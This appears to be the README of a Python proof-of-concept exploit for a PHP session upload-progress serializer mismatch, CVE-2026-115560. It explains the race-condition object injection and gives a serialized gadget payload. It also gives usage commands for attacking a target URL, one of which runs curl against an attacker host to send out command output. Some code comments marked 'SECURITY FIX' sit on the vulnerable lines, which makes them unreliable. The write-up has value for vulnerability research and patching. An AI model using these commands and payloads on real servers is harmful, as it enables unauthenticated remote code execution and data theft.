
Python PoC exploiting CVE-2026-115560, a PHP session upload-progress serialize-handler mismatch enabling unauthenticated object injection and RCE via a race-condition upload.
| Field | Value |
|---|---|
| CVE ID | CVE-2026-115560 |
| Vendor | The PHP Group |
| Affected Versions | PHP 7.x, 8.0 – 8.4.x (all builds with default session.upload_progress config) |
| Fixed Version | No patch — official mitigation: session.upload_progress.enabled=0 |
| Advisory | php.net informational advisory 2026-10-23 |
| CVSS 3.1 | 9.8 Critical |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| Attack Vector | Network |
| Auth Required | None (unauthenticated) |
| Impact | Unauthenticated Remote Code Execution via PHP object injection |
| Preconditions | session.upload_progress.enabled=1 (PHP default) + application switches serializer at runtime |
CVE-2026-115560 is an unauthenticated Remote Code Execution vulnerability in PHP's session extension, disclosed 2026-10-23 — two days after the PHP2Shell emergency releases (CVE-2026-109618 / CVE-2026-109619). It affects any PHP application where all three preconditions hold simultaneously:
php.ini configures session.serialize_handler = php_binary or session.serialize_handler = php_serializeini_set('session.serialize_handler', 'php') before session_start()session.upload_progress.enabled = 1 (the PHP default)The root cause is a serialize-handler mismatch: PHP's session upload progress subsystem runs pre-RINIT (before any application code) and writes the session file using the server-configured handler (php_serialize). When the application subsequently switches to the php handler and calls session_start(), it reads back the session file using the php deserializer, which splits on the first | character and unserializes everything after it.
Since the attacker controls the PHP_SESSION_UPLOAD_PROGRESS POST field value — which PHP stores as an unsanitized array key in the session file — they can inject a | followed by an arbitrary serialized PHP object. The php handler deserializes it, triggering __destruct / __wakeup gadget chains and achieving RCE.
The exploit is a concurrent two-request attack: one request trickles a large file upload (keeping the malicious session key alive in the session file), while a second request reads the session, triggering deserialization. With the default session.upload_progress.cleanup=1, the race window is kept open for the entire upload duration — achievable in the 13–38 second range with a multi-MB body.
php-src/ext/session/session.c php-src/main/rfc1867.c
───────────────────────────── ──────────────────────
php_session_rfc1867_callback() MULTIPART_EVENT_FILE_START
└─ php_rinit_session(0) PS(serializer) = server ini (php_serialize)
└─ php_session_rfc1867_update()
└─ php_session_flush(1) ← writes session file with php_serialize
key = "upload_progress_" + PHP_SESSION_UPLOAD_PROGRESS (UNSANITIZED)
value = array(start_time, current_file, ...)
--- (upload still in flight) ---
Application code (application.php):
ini_set('session.serialize_handler', 'php') // SECURITY FIX: CWE-502 -- ini switch creates mismatch
session_start()
└─ PS_SERIALIZER_DECODE_FUNC(php)
splits at first '|'
unserialize(everything after '|') ← attacker-controlled gadget chain
__destruct() fires → RCE
a:1:{s:56:"upload_progress_|O:12:"ExecOnDestruct":1:{s:3:"cmd";s:2:"id";}";a:5:{...}}
^
php handler splits here and unserializes the rest
/* ext/session/session.c -- php_session_rfc1867_callback (PHP <= 8.4.x) */
static void php_session_rfc1867_callback(unsigned int event, void *event_data, void **extra)
{
/* SECURITY FIX: CWE-502 -- PS(serializer) resolved from server ini, not application ini */
if (event == MULTIPART_EVENT_FILE_START) {
php_rinit_session(0); // uses server-configured serialize_handler
}
if (event == MULTIPART_EVENT_FILE_END || event == MULTIPART_EVENT_END) {
php_session_rfc1867_update(progress, 1); // writes with server handler
// PS(session_status) = php_session_none — not locked against handler re-init
}
}
// Vulnerable application pattern
ini_set('session.serialize_handler', 'php'); // switches handler AFTER rfc1867 write
session_start(); // reads back with 'php', deserializes mismatch
flowchart LR
A([Attacker]) -->|POST multipart upload\nPHP_SESSION_UPLOAD_PROGRESS=\n pipe + serialized gadget| B[PHP rfc1867 callback\npre-RINIT]
B -->|writes session file\nwith php_serialize handler| C[(Session File\n/tmp/sess_X)]
C -->|malicious key survives\nfor upload duration| D{Race Window\n13-38 seconds}
D -->|concurrent GET /?PHPSESSID=X| E[Application Code\nini_set handler=php\nsession_start]
E -->|php handler reads session\nsplits on pipe char| F[unserialize gadget]
F -->|__destruct fires| G([RCE\ncode execution as www-data])
style A fill:#1a0810,color:#e94560
style G fill:#1a0810,color:#e94560
style F fill:#3d0015,color:#fff
style D fill:#1a2010,color:#7ec8a0
pip install -r requirements.txt
# Check preconditions only (no exploit)
python poc.py -u http://target.example.com/app.php --check-only -v
# Full exploit: inject id command via __destruct gadget
python poc.py -u http://target.example.com/app.php -c "id" -v
# Custom gadget class name and RCE payload
python poc.py -u http://target.example.com/app.php -c "curl http://attacker.com/$(id)" \
--gadget ExecOnDestruct --upload-size 8 -o result.json
# Proxy through Burp
python poc.py -u http://target.example.com/app.php -c "id" --proxy http://127.0.0.1:8080 --insecure
| Flag | Description |
|---|---|
-u / --url | Target URL (the endpoint that calls ini_set + session_start) |
-c / --cmd | OS command to execute via RCE gadget |
--gadget | PHP class name to inject (default: ExecOnDestruct) |
--upload-size | Upload body size in MiB to hold race window open (default: 4) |
--upload-chunk | Bytes per chunk / sleep interval to slow upload (default: 16384 / 0.1s) |
--threads | Consumer threads hitting session endpoint (default: 4) |
--session-id | Use specific PHPSESSID (default: auto-generated) |
--check-only | Detect preconditions without triggering exploit |
--timeout | Per-request timeout in seconds (default: 60) |
--proxy | HTTP/HTTPS proxy for all requests |
--insecure | Skip TLS certificate verification |
-o / --output | Save results to JSON |
-v / --verbose | Verbose output |